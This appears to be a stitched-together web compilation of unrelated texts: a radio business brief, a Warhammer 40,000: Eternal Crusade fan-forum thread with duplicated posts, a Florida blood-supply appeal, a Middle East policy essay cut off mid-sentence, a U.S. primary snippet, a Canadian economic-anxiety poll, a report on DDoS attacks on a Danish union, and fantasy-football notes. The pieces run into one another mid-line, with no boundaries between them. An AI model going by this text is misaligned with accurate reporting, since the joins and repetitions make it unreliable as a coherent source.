Medical tests are a growing business. Thermo Fisher Scientific is said to be close to a deal to buy genetic testing company Life Technologies. The bid is reported to be worth around $12 billion. Both sides held more talks yesterday.
A snapshot on housing. Today The National Association of Homebuilders releases its housing market index for April. It may show more improvement. This will be a busy week for first-quarter corporate profits. More than 70 big companies to report between now and Friday.
Richard Davies Business Correspondent ABC News Radio abcnews.com Twitter: daviesabcAuthor Message
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Subject: Re:Warhammer 40,000: Eternal Crusade (Behaviour Interactive) Compilation Thread (Last update:7/04/2013)
Ravenblade666
Death-Dealing Devastator
Cornwall
Not to sound silly here, tho I probably am, is friendly fire limited to ranged weapons? I'm guessing there will be melee classes in the game and some melee attacks will have arcs or aoe effects, and if FF was implemented how would it be handled?
Another thing for Miguel to answer possibly will there be collision physics in the game that effect LoS or will people be able to move/shoot/close combat though their own team and by past the opponents teams to attack range dps or utility classes.
Subject: Warhammer 40,000: Eternal Crusade (Behaviour Interactive) Compilation Thread (Last update:7/04/2013)
grigdusher
Been Around the Block
DemetriDominov wrote:
Soladrin wrote:
The game has no level up system, there are no levels. The game has no level up system, there are no levels.
That hasn't been said. There is progression in the game, it just isn't up. A lvl 41 in SM is arguably more talented than a lvl 5, has more gear, perks, and weapons, but isn't necessarily stronger than a lvl 1.
That hasn't been said. There is progression in the game, it just isn't up. A41 inis arguably more talented than a5, has more gear, perks, and weapons, but isn't necessarily stronger than a1.
PROGRESSION & ECONOMY
Do characters have levels?
No! As in the game, you’ll pick what unit class type you want to bring to the battlefield and have access to a huge amount of customization, but since this is a PvP -focused game the progression won’t be primarily about increasing power, but rather gaining access to a wider variety of skills and better specialization.
Certain powerful but limited unlockables will be available to truly dedicated players, however. More details on this soon!
http://www.eternalcrusade.com/#
faq button. button.
Subject: Warhammer 40,000: Eternal Crusade (Behaviour Interactive) Compilation Thread (Last update:7/04/2013)
Soladrin
Decrepit Dakkanaut
grigdusher wrote:
DemetriDominov wrote:
Soladrin wrote:
The game has no level up system, there are no levels. The game has no level up system, there are no levels.
That hasn't been said. There is progression in the game, it just isn't up. A lvl 41 in SM is arguably more talented than a lvl 5, has more gear, perks, and weapons, but isn't necessarily stronger than a lvl 1.
That hasn't been said. There is progression in the game, it just isn't up. A41 inis arguably more talented than a5, has more gear, perks, and weapons, but isn't necessarily stronger than a1.
PROGRESSION & ECONOMY
Do characters have levels?
No! As in the game, you’ll pick what unit class type you want to bring to the battlefield and have access to a huge amount of customization, but since this is a PvP -focused game the progression won’t be primarily about increasing power, but rather gaining access to a wider variety of skills and better specialization.
Certain powerful but limited unlockables will be available to truly dedicated players, however. More details on this soon!
http://www.eternalcrusade.com/#
faq button. button.
I was going to say that, yes. I was going to say that, yes.
Subject: Warhammer 40,000: Eternal Crusade (Behaviour Interactive) Compilation Thread (Last update:7/04/2013)
DemetriDominov
The Peripheral
The Peripheral Veteran Inquisitorial Tyranid Xenokiller
Sooo, basically what I said isn't completely wrong and what he said isn't completely right. How are you going to earn other weapons without horizontal progression like in SM as I was describing?
This message was edited 1 time. Last update was at 2013/07/29 00:14:37
Subject: Re:Warhammer 40,000: Eternal Crusade (Behaviour Interactive) Compilation Thread (Last update:7/04/2013)
unmercifulconker
Liverpool
Liverpool Slashing Veteran Sword Bretheren
I imagine class progression will be based on game time, kills, requisition cost etc. For example to unlock the Lascannon you must play 100 hours as a Devastator or get 100 kills or like earn 10,000 requisition points.
Fury from faith
Faith in fury
Numquam solus ambulabis
Subject: Re:Warhammer 40,000: Eternal Crusade (Behaviour Interactive) Compilation Thread (Last update:7/04/2013)
miguelcaron
Fresh-Faced New User
My direction for the team is ''The Game needs to be as immersive as possible'' So Yes I would love it but since we will have HUGE battles we have to test the balance between ''nice to see'' and massive gameplay or you guys will all need WaterCool 10K$ PC!!! :-) and we dont want that.
:-)
Regards
Miguel
Studio Head Behaviour Online.
p.s. Hope all of you signed up for Beta!! tell your friend to do so and please go rank Your game on MMORPG here : Regarding Physix and colision.My direction for the team is ''The Game needs to be as immersive as possible'' So Yes I would love it but since we will have HUGE battles we have to test the balance between ''nice to see'' and massive gameplay or you guys will all need WaterCool 10K$!!! :-) and we dont want that.:-)RegardsMiguelStudio Head Behaviour Online.p.s. Hope all of you signed up for Beta!! tell your friend to do so and please go rank Your game on MMORPG here : http://www.mmorpg.com/gamelist.cfm/game/954/view/hype
Subject: Warhammer 40,000: Eternal Crusade (Behaviour Interactive) Compilation Thread (Last update:7/04/2013)
Soladrin
Decrepit Dakkanaut
Signing up for beta is just signing up for the newsletter then? Couldn't find any seperate sign uppy thing.
Subject: Warhammer 40,000: Eternal Crusade (Behaviour Interactive) Compilation Thread (Last update:7/04/2013)
loota boy
Battlewagon Driver with Charged Engine
Ye Olde North State
Yeah, i don't see anything to sign up for besides a newsletter.
grendel083 wrote: "Dis is Oddboy to BigBird, come in over."
"BigBird 'ere, go ahead, over."
"WAAAAAAAAAGGGHHHH!!!! over"
"Copy 'dat, WAAAAAAAGGGHHH!!! DAKKADAKKA!!... over"
Subject: Warhammer 40,000: Eternal Crusade (Behaviour Interactive) Compilation Thread (Last update:7/04/2013)
grigdusher
Been Around the Block
loota boy wrote:
Yeah, i don't see anything to sign up for besides a newsletter. Yeah, i don't see anything to sign up for besides a newsletter.
Soladrin wrote:
Signing up for beta is just signing up for the newsletter then? Couldn't find any seperate sign uppy thing. Signing up for beta is just signing up for the newsletter then? Couldn't find any seperate sign uppy thing.
the beta signup and the newsletter is the same,it isn't a 100% chance for the firsts beta/alpha phases but for the later is almost certain.
i wonder why they want my phone number.
the beta signup and the newsletter is the same,it isn't a 100% chance for the firsts beta/alpha phases but for the later is almost certain.i wonder why they want my phone number.
Subject: Re:Warhammer 40,000: Eternal Crusade (Behaviour Interactive) Compilation Thread (Last update:7/04/2013)
unmercifulconker
Liverpool
Liverpool Slashing Veteran Sword Bretheren
Hello, you have been selected for, Eternal Crusade Beta, to confirm your position please press 1, to speak to a member of the Inquisition regarding this call, please press 2, to report any xenos attack, press 3 and for any heretical uprising, please press 4 and a designated inquisitor will be with you shortly. Goodbye
Fury from faith
Faith in fury
Numquam solus ambulabis
Subject: Warhammer 40,000: Eternal Crusade (Behaviour Interactive) Compilation Thread (Last update:7/04/2013)
Soladrin
Decrepit Dakkanaut
Heresy hotline.
Subject: Warhammer 40,000: Eternal Crusade (Behaviour Interactive) Compilation Thread (Last update:7/04/2013)
grigdusher
Been Around the Block
https://www.facebook.com/miguel.caron.52
Miguel Caron yes, and cel phone if you want to participate later on our ARG's
http://en.wikipedia.org/wiki/Alternate_reality_game
so we must really waiting for a inquisition call.
i think i'm got right with the image jokeMiguel Caron yes, and cel phone if you want to participate later on our ARG'sso we must really waiting for a inquisition call.
Subject: Warhammer 40,000: Eternal Crusade (Behaviour Interactive) Compilation Thread (Last update:7/04/2013)
DemetriDominov
The Peripheral
The Peripheral Veteran Inquisitorial Tyranid Xenokiller
Oh god that'd be a fantastic way of giving out Beta keys lol.
Subject: Re:Warhammer 40,000: Eternal Crusade (Behaviour Interactive) Compilation Thread (Last update:7/04/2013)
miguelcaron
Fresh-Faced New User
I want your phone number in case you decide to attack my faction while I sleep!!! ;-)
Seriously, you all know now about my addiction to immersion and to do everything different than the ""normal'' way.
I am a strong believer of ARG see:
So we have planned a few ARG mini-game before the game is launched. I wont say more... but if any of you played my The Secret World ARG before launch.... you know how cool it could be.
Think like..... getting a recorded call from Inquisition on your cel at 2AM giving you orders to do something and come back on a hidden site with an answer to unlock something cool for your squad at launch!!!! :-) I am not saying more!
Regards
Miguel
Studio Head Behaviour Online Dear Griddusher,I want your phone number in case you decide to attack my faction while I sleep!!! ;-)Seriously, you all know now about my addiction to immersion and to do everything different than the ""normal'' way.I am a strong believer of ARG see: http://en.wikipedia.org/wiki/Alternate_reality_game So we have planned a few ARG mini-game before the game is launched. I wont say more... but if any of you played my The Secret World ARG before launch.... you know how cool it could be.Think like..... getting a recorded call from Inquisition on your cel at 2AM giving you orders to do something and come back on a hidden site with an answer to unlock something cool for your squad at launch!!!! :-) I am not saying more!RegardsMiguelStudio Head Behaviour Online
Subject: Re:Warhammer 40,000: Eternal Crusade (Behaviour Interactive) Compilation Thread (Last update:7/04/2013)
unmercifulconker
Liverpool
Liverpool Slashing Veteran Sword Bretheren
Ha, sweet.
Fury from faith
Faith in fury
Numquam solus ambulabis
Subject: Re:Warhammer 40,000: Eternal Crusade (Behaviour Interactive) Compilation Thread (Last update:7/04/2013)
Sigvatr
Decrepit Dakkanaut
miguelcaron wrote:
Think like..... getting a recorded call from Inquisition on your cel at 2AM giving you orders to do something and come back on a hidden site with an answer to unlock something cool for your squad at launch!!!! :-) I am not saying more!
Think like..... getting a recorded call from Inquisition on your cel at 2AM giving you orders to do something and come back on a hidden site with an answer to unlock something cool for your squad at launch!!!! :-) I am not saying more!
Uhm...getting a random call at 2 AM isn't exactly "fun" to me Uhm...getting a random call at 2isn't exactly "fun" to me
Subject: Warhammer 40,000: Eternal Crusade (Behaviour Interactive) Compilation Thread (Last update:7/04/2013)
Soladrin
Decrepit Dakkanaut
Yeah.. if I get woken up at 2AM by a stranger, in a different language... I don't think fun would be the thing on my mind.
(this asumes I go to bed before 2 AM, doesn't happen a lot...)
This message was edited 1 time. Last update was at 2013/07/31 10:14:01
Subject: Warhammer 40,000: Eternal Crusade (Behaviour Interactive) Compilation Thread (Last update:7/04/2013)
grigdusher
Been Around the Block
Soladrin wrote:
Yeah.. if I get woken up at 2AM by a stranger, in a different language... I don't think fun would be the thing on my mind.
(this asumes I go to bed before 2 AM, doesn't happen a lot...) Yeah.. if I get woken up at 2AM by a stranger, in a different language... I don't think fun would be the thing on my mind.(this asumes I go to bed before 2, doesn't happen a lot...)
also creepy inquisitorial voice and gregorian music and chant... also creepy inquisitorial voice and gregorian music and chant...
Subject: Re:Warhammer 40,000: Eternal Crusade (Behaviour Interactive) Compilation Thread (Last update:7/04/2013)
miguelcaron
Fresh-Faced New User
Of course we will ask you BEFORE we start any ARG if you want to participate and at what level of participation!
:-)
Then again, are you REAL soldiers of the Emperor!! Or even if you are Orks.... do you have any choice in answering the Waaagh?
;-)
Miguel
Studio Head Behaviour Online
Subject: Re:Warhammer 40,000: Eternal Crusade (Behaviour Interactive) Compilation Thread (Last update:7/04/2013)
unmercifulconker
Liverpool
Liverpool Slashing Veteran Sword Bretheren
Haha imagine at 2am, "Hello....?" "KILL KILL KIIIIIILLLLL" Chaos players should have this guy ring them up at 2am http://www.youtube.com/watch?v=wpKN-U1-bWk Haha imagine at 2am, "Hello....?" "KILL KILL KIIIIIILLLLL"
Fury from faith
Faith in fury
Numquam solus ambulabis
Subject: Re:Warhammer 40,000: Eternal Crusade (Behaviour Interactive) Compilation Thread (Last update:7/04/2013)
Vuiet
Commoragh-bound Peer
Bucharest, Romania, waiting for my rightful place in Hell
unmercifulconker wrote:
Chaos players should have this guy ring them up at 2am
Haha imagine at 2am, "Hello....?" "KILL KILL KIIIIIILLLLL" Chaos players should have this guy ring them up at 2am http://www.youtube.com/watch?v=wpKN-U1-bWk Haha imagine at 2am, "Hello....?" "KILL KILL KIIIIIILLLLL"
Step 1. Register on the website
Step 2. Support Chaos
Step 3. Receive phone call
Step 4. Grab sharp object
Step 5. Blood for the Blood God!
Step 6.???
Step 7. PROFIT! (and beta key) Step 1. Register on the websiteStep 2. Support ChaosStep 3. Receive phone callStep 4. Grab sharp objectStep 5. Blood for the Blood God!Step 6.???Step 7. PROFIT! (and beta key)
We rise in number, we blot out the Sun
We rise in number, we blot out the Sun
Subject: Warhammer 40,000: Eternal Crusade (Behaviour Interactive) Compilation Thread (Last update:7/04/2013)
grigdusher
Been Around the Block
new inverview
This message was edited 1 time. Last update was at 2013/08/01 15:32:46
Subject: Re:Warhammer 40,000: Eternal Crusade (Behaviour Interactive) Compilation Thread (Last update:7/04/2013)
IHateNids
Loyal Necron Lychguard
Dammit, ninja'd by an hour due to chasing the wrong thread :/
This message was edited 1 time. Last update was at 2013/08/01 16:50:55 Experience is something you get just after you need it
The Narkos Dynasty - 10k
The Iron Serpents - 7.5k
Vulker Cavaliers - 3k The Narkos Dynasty - 10kThe Iron Serpents - 7.5kVulker Cavaliers - 3k
Subject: Warhammer 40,000: Eternal Crusade (Behaviour Interactive) Compilation Thread (Last update:7/04/2013)
DemetriDominov
The Peripheral
The Peripheral Veteran Inquisitorial Tyranid Xenokiller
FF though.
Also, have you considered a modified version of WAR's (ugghhhh) approach to RvR?
So clearly there are outposts / fortresses and other static stations throughout the world. Would it be at all possible for a "Warlord" to claim them in the name of their faction, but then have it also count as theirs? The Warlord would be the highest ranking player in the party that seized the objective. S/he could then gift the right to whomever they chose, and the title would confer the right to:
Collect requisition depending on how large and fully upgraded the base is.
Customize the defense of the outpost / fortress with requisition:
"Buy" guards, a champion to preside over the throne while the warlord is not present - and guard them when he or she is, their weapons, armor, machine shops, Vox ampilifiers, and other base add on's or upgrades.
Add the heraldry of the Warlord to the structure.
Build a barracks to send out small waves of NPC's (like the IG ) to put pressure on nearby battlefields or other bases in the region.
Honestly, if this is only implemented on a small scale in a very specific region even only between two armies, like a valley in the mountains somewhere, I'd be happy. It could even be an Easter Egg
I liked the interview. No confirmation / dismissal ofthough.Also, have you considered a modified version of's (ugghhhh) approach to RvR?So clearly there are outposts / fortresses and other static stations throughout the world. Would it be at all possible for a "Warlord" to claim them in the name of their faction, but then have it also count as theirs? The Warlord would be the highest ranking player in the party that seized the objective. S/he could then gift the right to whomever they chose, and the title would confer the right to:Collect requisition depending on how large and fully upgraded the base is.Customize the defense of the outpost / fortress with requisition:"Buy" guards, a champion to preside over the throne while the warlord is not present - and guard them when he or she is, their weapons, armor, machine shops, Vox ampilifiers, and other base add on's or upgrades.Add the heraldry of the Warlord to the structure.Build a barracks to send out small waves of's (like the) to put pressure on nearby battlefields or other bases in the region.Honestly, if this is only implemented on a small scale in a very specific region even only between two armies, like a valley in the mountains somewhere, I'd be happy. It could even be an Easter Egg
This message was edited 1 time. Last update was at 2013/08/01 22:40:55
Subject: Re:Warhammer 40,000: Eternal Crusade (Behaviour Interactive) Compilation Thread (Last update:7/04/2013)
unmercifulconker
Liverpool
Liverpool Slashing Veteran Sword Bretheren
In game footage mid september onwards and closed beta from christmas? Heart rate rising to inconceivable levels.
Fury from faith
Faith in fury
Numquam solus ambulabis
Subject: Re:Warhammer 40,000: Eternal Crusade (Behaviour Interactive) Compilation Thread (Last update:7/04/2013)
grigdusher
Been Around the Block
unmercifulconker wrote:
In game footage mid september onwards and closed beta from christmas? Heart rate rising to inconceivable levels. In game footage mid september onwards and closed beta from christmas? Heart rate rising to inconceivable levels.
it's more like ultra closed alpha for early 2014 it's more like ultra closed alpha for early 2014
Subject: Re:Warhammer 40,000: Eternal Crusade (Behaviour Interactive) Compilation Thread (Last update:7/04/2013)
unmercifulconker
Liverpool
Liverpool Slashing Veteran Sword Bretheren
Aye, but to know the very essence of this game, is somewhere, on a distant planet in a super secure military base is being tested as we muggles go about our daily lives. To know the eternal crusade begins then, brings no greater joy.
Fury from faith
Faith in fury
Numquam solus ambulabis
Subject: Re:Warhammer 40,000: Eternal Crusade (Behaviour Interactive) Compilation Thread (Last update:7/04/2013)
porkeater
Fresh-Faced New User
"the gaming industry has forgotten who are paying their salaries.
for me it's not, these players, that troll. no no, these are my bosses.
they are the ones paying my salary.
they are the ones allowing the team and I to live our dream in creating that game.
so the players are my boss.so who am I to put, ah, marketing, or put a filter between
my bosses, my investors, the ones paying my salary, and paying my house and the paying the school for my kid.
who am I to put a firewall between them and me, you know.
I have to build what they want because they are paying for it.
so who wants to screw up their investment, who wants to steal money from their boss?"
And for me, that attitude makes me believe in this game.
This message was edited 1 time. Last update was at 2013/08/02 08:25:21
Subject: Re:Warhammer 40,000: Eternal Crusade (Behaviour Interactive) Compilation Thread (Last update:7/04/2013)
grigdusher
Been Around the Block
porkeater wrote:
"the gaming industry has forgotten who are paying their salaries.
for me it's not, these players, that troll. no no, these are my bosses.
they are the ones paying my salary.
they are the ones allowing the team and I to live our dream in creating that game.
so the players are my boss.so who am I to put, ah, marketing, or put a filter between
my bosses, my investors, the ones paying my salary, and paying my house and the paying the school for my kid.
who am I to put a firewall between them and me, you know.
I have to build what they want because they are paying for it.
so who wants to screw up their investment, who wants to steal money from their boss?"
And for me, that attitude makes me believe in this game.
And for me, that attitude makes me believe in this game.
DA BIG BOZZ ZAY, DE BOYZ R DE BIG BOZZ BOZZ, IF DA BOYZ KIVE DO BIG BOZZ DEIR TEEF DE BOYZ GOT DA BIGGER ANZ DA BADASSEST, ZO BOYZ ZTHOW THE TEEF DO DA BIG BOZZ AND YU IZ DA BIG BOZZ BOZZ.
ZO GITZ I HEARD YU LIKE BE DA BOZZ ZO YU RE DA BOZZ OF DE BOZZ ZO YU BOZZ WHILE DA BOZZ BOZZ DE BOZZ.
ALL DA BOYZ IZ BOZZ!!! BIGGEST WHAAGH EVER!!!!
BIG BOZZ ZAY,BOYZ RBIG BOZZ BOZZ, IFBOYZ KIVE DO BIG BOZZ DEIR TEEFBOYZ GOTBIGGER ANZBADASSEST, ZO BOYZ ZTHOW THE TEEF DOBIG BOZZ AND YU IZBIG BOZZ BOZZ.ZO GITZ I HEARD YU LIKE BEBOZZ ZO YU REBOZZ OFBOZZ ZO YU BOZZ WHILEBOZZ BOZZBOZZ.ALLBOYZ IZ BOZZ!!! BIGGEST WHAAGH EVER!!!!
Subject: Re:Warhammer 40,000: Eternal Crusade (Behaviour Interactive) Compilation Thread (Last update:7/04/2013)Fresh off a holiday weekend, the Tampa Bay area's blood supplier is reporting there is a critical need for O Negative blood throughout the region.
"Our reserves of Type O Negative blood to resupply area hospitals is about a day to a day and a half supply," said OneBlood spokesman Daniel Eberts. "Ideally, we want to have at least a 3-day supply so we are prepared to respond quickly when the need for universal donor Type O Negative blood surges."
O Negative blood is considered "universal" in that any patient can receive it regardless of personal blood type. This particular type of blood is "critical for trauma patients, premature babies, cancer patients and emergency surgeries," Eberts explained.
OneBlood is a nonprofit agency that serves 213 hospital partners in Florida, Alabama and Southern Georgia. Its service area includes the Tampa Bay area, south and southeast Florida, the Orlando area, Pensacola, Tallahassee and other parts of the Sunshine State.
For a complete list of OneBlood Donor Centers in the Tampa Bay area, visit the organization's website.
In order to donate blood, people must be considered generally healthy. Donors must also weigh at least 110 pounds and be age 16 or older.
Image via ShutterstockMichael Harris IU kokomo, kokomo Perspective, National Security: Collapse of Iraq and Syria, ISIS Threat, July 2, 2015;
Michael Harris IU kokomo, Kokomo Perspective, The alarming lack of U.S. Strategy, September 20, 2015;
The Alarming Lack of U.S National Security Strategy, September 7, 2015, Linkedin
Michael Harris IU Kokomo, Chancellor Insight Middle East, May 3, 2011;
Michael Harris IU Kokomo, Chancellor, Honorary Commander, Grissom Air Base, 434th Air Refueling Wing
Israel Faces Dilemma on Military Strategy All Things Considered: July 20, 2006, Michael Harris PhD
The evolution of the Middle East is a complicated story with many dimensions. The first time that the United States demonstrated a direct interest in the region was during the Truman Administration (1945-53). Since the mid 1940s the U.S. has had an ongoing strategic national security interest in maintaining stability and influence in the Middle East. At this point any analyst or observer would aver that we are facing a ‘perfect storm’ that threatens our national security. Decades of tireless yet naïve and unrealistic efforts to use force, diplomacy and ‘build coalitions’ have failed to change the dangerous trajectory in Iraq and Syria. The core of this instability is in the ongoing sectarian conflicts in Iraq and Syria. They have resulted so far in the disbanding of borders and the collapse of those two nation’s central governments. In Syria and Iraq the regimes are de facto failed states and no longer exist. At the same time, the Islamic State in Iraq and Syria (ISIS) continues to gain momentum and metastasize along crucial routes in the region. ISIS has not been defeated because no current functioning state has articulated the reasons why it is necessary to stop them. In fact ISIS’s birth is the outcome of the collapse of Iraq and Syria. The crisis threatens other countries such as Saudi Arabia, the Gulf Emirates (Qatar, UAE, Bahrain), Jordan and Lebanon. Now add to that dangerous conflagration Iran’s potential emergence as a regional nuclear power.
It is vital that we engage in a thoughtful and candid re-evaluation of the basic assumptions that have guided our policies and that have resulted in such grave outcomes. This analysis must not be an internal political dispute but rather a straightforward dialogue among experts and policy makers. We need an informed analysis based on intelligence, political feasibility, and a recognition both of the limits of U.S. power and that we need to write-off the ‘sunk costs’ in our current strategy.
Unfortunately and tragically the Sykes–Picot Agreement of 1916 still serves as the basis for our current policies. The secret agreement between France and the United Kingdom was designed as a deal to divide parts of the weakening Ottoman Empire into areas of post-WWI British and French influence. This agreement is the foundation for the official borders of most of the states at the center of the ongoing conflict. Those borderlines never made sense beyond the now-archaic interests of the two former imperial powers. In fact Iraq's current international borders were created by the British at the 1921 Cairo conference. In the process they chose to ignore sectarian reality. We are now experiencing with a total loss of direction the ripple effect of that agreement and the fruitless efforts to sustain its status quo after nearly 100 years. I conclude that the time has come for a dramatic paradigm shift in our efforts, vision, policy and diplomacy.
Iraq and Syria’s current borders are changing and will never be the same. Pretending that this is not happening is irresponsible at best. Do we want to fight yesterday’s wars or be forward looking? We should rely on our values, courage and humility. In 2007 the U.S. Senate endorsed the Biden-Gelb plan to divide Iraq. Today, the division of Iraq into ethnic regions is taking place on the ground while we still pretend as if the Baghdad government is in charge. The trajectory is clear but we choose to ignore it. The fact is that ISIS holds much of western and northern Iraq and parts of Syria. The fall of the central regimes in Iraq and Syria has made it possible for ISIS to advance. The U.S. should focus its diplomatic efforts to create an international agreement or at least an understanding that will enable the formation of new national entities, and a new mid-eastern regional order, out of what we must now call the former states of Iraq and Syria. This will allow the creation and independence of new states that will see that it is in their best interests to assure stability within their borders. The new map will dramatically reduce the inner fighting that brought the collapse of those two states. Those newly formed states will serve to create a ‘new Middle East’ in which sectarian fighting will be seen as counterproductive to the aspirations of those who currently support, or at least quietly tolerate, the Islamic state. Any simplistic approach that does not take into consideration such variables as |
there’s gonna be a demonstration in support of Bernie; he’s gonna lose the roll call,” he said. “His supporters have to behave and not cause trouble. And I think they will, and I think Sen. Sanders will send them a strong message.”
Sanders is trailing Democratic front-runner Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE by 774 total delegates. Clinton is just 155 delegates from clinching the nomination.
--This report was updated at 11:22 a.m.Election 2015: To Have and Have Not; Canadians’ Economic Anxiety Shapes Campaign Perspective
Those who say they’re “Haves” back the Conservative Party; “Have-Nots” size up opposition alternatives
September 14, 2015 – The economy continues to be the dominating issue of this federal election campaign, and new data from the Angus Reid Institute (ARI) reveals considerable anxiety in the minds of Canadians when it comes to their own fiscal fortunes.
That anxiety is strongly tied to what Canadians choose as their economic priorities, where they see themselves in the financial spectrum, and which party leader they see as best to instill confidence in investors at home and abroad.
This new ARI public opinion poll finds strong divisions in Canadians’ economic identification as they fall into one of four segments: the Older Haves, the Insecure Haves, the Indebted Have Nots and the Younger Have Nots. And while the “haves” are hoping to see the Conservatives re-elected on October 19th, the large pool of the anxious “have-nots” are looking at the opposition parties.
Key Findings:
Two-in-three Canadians (66%) say they’re stressed about money at least some of the time
47 per cent surveyed worry they or someone in their household will lose their job in the next year
Two-in-five Canadians (39%) see themselves as “have-nots”
Tax fairness (42%) and job growth (41%) are seen as the top economic priorities for government
In terms of economic management and risk, the New Democratic Party’s Thomas Mulcair is seen as best leader
Part 1 – The Economy dominates, but what should government do about it?
The economy’s dominance in the minds of voters has been a consistent feature of Election 2015. Indeed, this latest Angus Reid Institute poll shows almost half (44%) of Canadians surveyed say it’s the most important issue facing the country today. Factor in those who choose economic issues such as jobs/unemployment (23%), the deficit/spending (16%), taxes (14%) and income inequality (9%), and the majority of Canadians have fiscal matters on their minds.
This preoccupation with the economy is understandable, given the gloomy economic outlook Canadians display in this poll:
Four times as many say their current standard of living is worse than it was a year ago (34%) as say it’s better (8%)
And twice as many expect it to get worse over the next year (25%) as expect it to get better (12%)
Canadians are similarly unenthusiastic about the economic prospects of their provinces (Manitoba, Ontario, and Atlantic residents, especially) and the nation as a whole in the coming year (see detailed tables at the end of this release).
But what do they see as the most pressing economic task for government? Tax matters, job growth and social spending rank high, as seen in the following graph:
Part 2 – Where do Canadians place themselves in the Economy?
Where Canadians place themselves in economic terms drives much of their thinking – about priorities, vote preference and leaders’ economic performance. But herein lies a typically Canadian conundrum: so many people see themselves in the same economic category – the middle class:
Little wonder that political parties devote such attention to this group. A look at support by class identification shows an intense three-way race among the voters who identify as “middle class”:
But how helpful is it to focus on the subjectively self-selected “middle class”, when nearly half of Canadians put themselves there, regardless of income, debt levels or other factors? The Angus Reid Institute asked respondents a second, more pointed question – do they see themselves as “haves” or “have nots”:
About one-third (31%) see themselves as “haves”
Two-in-five (39%) see themselves as “have nots”
The rest (30%) aren’t sure where they belong
Interestingly, an August Gallup poll in the USA found Americans more bullish, with most (58%) seeing themselves as “haves”, well more than the 38 per cent who said they were have-nots and the just five per cent who were uncertain.
Still, the question yields notable divisions within the Canadian population, and the two sides of this divide show different political allegiances in this federal election campaign:
If it were solely up to the “haves”, the Conservative Party of Canada (CPC) would be on track to win re-election, albeit by a slim margin – just five points over the New Democrats (NDP)
The have-nots favour the NDP by a two-to-one margin over the CPC (with the Liberals also substantially ahead of the CPC). Among the large “unsure” group, party preferences reflect the overall national average
Part 3 – Economic Anxiety: Four Different Realities
Canadians are anxious about the economy, but not equally so. Regardless of how they categorize themselves, i.e. “Have”, “Have-Not” or “Can’t Say”, a special segmentation (or cluster) analysis of the data categorizes all respondents into four segments. This multivariate analytical technique helps uncover underlying structures and relationships within a given survey data set. Respondents are grouped or “segmented” based on shared attitudinal characteristics. This can powerfully illustrate the different “mindsets” surrounding the issue at hand – in this case, the economy and people’s experiences of it.
Part 4 – What are Canadians Anxious about?
Jobs:
Jobs and unemployment are a major source of economic anxiety, with almost half (47%) of Canadians surveyed agreeing “I’m concerned that I or someone in my household could lose a job because of the economy.” More broadly, three-in-four Canadians (76%) say they “worry about how young people today will be able to find a good job.” More than a third (35%) strongly agree with this statement, including nearly half (48%) of those under 25 years of age.
The Insecure Haves are much more concerned (63%) than the Older Haves about unemployment in the family. Indeed, it’s one of the key things that makes them insecure.
Money:
Fully two-in-three (66%) Canadians disagree with the statement “I’m never really stressed about money” – 28 per cent disagree strongly.
This broad-based disagreement is particularly vehement among those making less than $50,000 per year (74%) and those under age 65 (see detailed tables at the end of this release).
Money-related stress is also a red line that separates the two “Haves” segments from the two “Have-Nots”:
Credit Card Debt:
Paying by plastic has one-in-four Canadians (27%) agreeing with the statement, “I have too much credit card debt”. That rises to more than one-third (34%) between the ages of 35 and 54. Not coincidentally, the 35-54 age cohort is also the most represented among the Indebted Have-Nots, who are defined by this particular anxiety.
The Future:
Canadians are also anxious about their own personal economic futures. Six-in-ten (60%) say they worry that in the future they won’t live as well as their parents’ generation.
Unsurprisingly, the only age-group that doesn’t agree with this statement is those older than 65 – an age cohort that has arguably lived the majority of its life-span. To that end, the Older Haves are the outliers on this question:
Likewise, most Canadians disagree with the statement “Based on my current financial position I feel I can have a comfortable retirement” (58% do so, 27% strongly). Concern about financial security in retirement is highest among lower-income Canadians and those not yet at retirement age (see detailed tables at the end of this release).
These findings align with what the Angus Reid Institute found in our in-depth study on the anatomy of retirement in Canada, released earlier this year.
Part 5 – To which leader do Canadians turn on the Economy?
So how do these anxieties affect how Canadians view the party leaders’ positioning on the economy? This Angus Reid Institute survey asked eligible voters for their view of the main party leaders on four key economic management dimensions:
As seen in the graph above, NDP leader Thomas Mulcair emerges with the best positioning on all four questions among all respondents. Dissected by segment, the party leaders’ positioning varies, with Conservative leader Stephen Harper the most respected among the “Older Haves”; Mulcair very strongly positioned with both Have-not segments, and Liberal leader Justin Trudeau running second in both camps.
Graphs showing opinion of each leader by segment follow:
Click here for the full report including tables and methodology
Click here for the questionnaire used in this survey
MEDIA CONTACT:
Shachi Kurl, Senior Vice President: 604.908.1693 shachi.kurl@angusreid.org
Image Credit – KMR Photography
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Share this article: LinkedInThe owners of Restaurant Vejlegaarden in Vejle in Denmark have received support from an unlikely quarter as hackers from across the world have organised to attack the restaurant's opponents in a union conflict. Anonymous have issued a statement distancing themselves from the hack (see comments below).
3F, a Danish trade union confederation have been in conflict with the restaurant since the restaurant decided to cancel their agreement with 3F late last year. Instead the restaurant have made an agreement with Krifa (Christian Trade Union), a so called yellow union, that has lower membership dues, but refuses to take part in industrial action. This means that wages for workers organised in Krifa are lower than those for workers organised in 3F.
In response, 3F have mounted pickets outside the restaurant and stopped deliveries to the restaurant from the restaurant's normal suppliers. Support from other unions has meant that the restaurant will not receive any post while the conflict is ongoing and only rubbish can be collected from the restaurant.
The struggle has received large-scale coverage in the press and a series of rightwing politicians have made a point of eating at the restaurant to mark their support for the management.
However, it was 3F's recent threat to launch a sympathy strike in the printing house of a local newspaper which carries the restaurant's adverts which caused Anonymous to get involved.
A video posted on YouTube on 20th July by AnonDK declared war on 3F for attacking the restaurant's right to freedom of speech and declared the union's "carbon based class struggle" to be old fashioned and irrelevant.
Over the weekend, supporters of the action participated in Distributed Denial of Service attacks which caused the union's website and IT systems to be taken offline for several days. This has had serious consequences for 30,000 union members who needed to use the system to receive their unemployment insurance. Because of the attacks, these payments will be delayed by several days at least. The attacks have since spread to the websites of the national trade union confederation, LO, the Social Democratic party and their youth wing underscoring the political nature of the actions.Alshon Jeffery – Philadelphia Eagles
Alshon will be the defacto #1 receiver in Philadelphia next season. What that means, fantasy wise, I’m not exactly sure. Alshon has been hit with the injury bug quite a bit over the last few season, not to mention the suspension. Will Wentz be able to fix his throwing mechanics next season? I’m a little wary to pick him up next season, but if he’s available in the 3rd -4th round, I’d feel comfortable taking him there.
Torrey Smith – Philadelphia Eagles
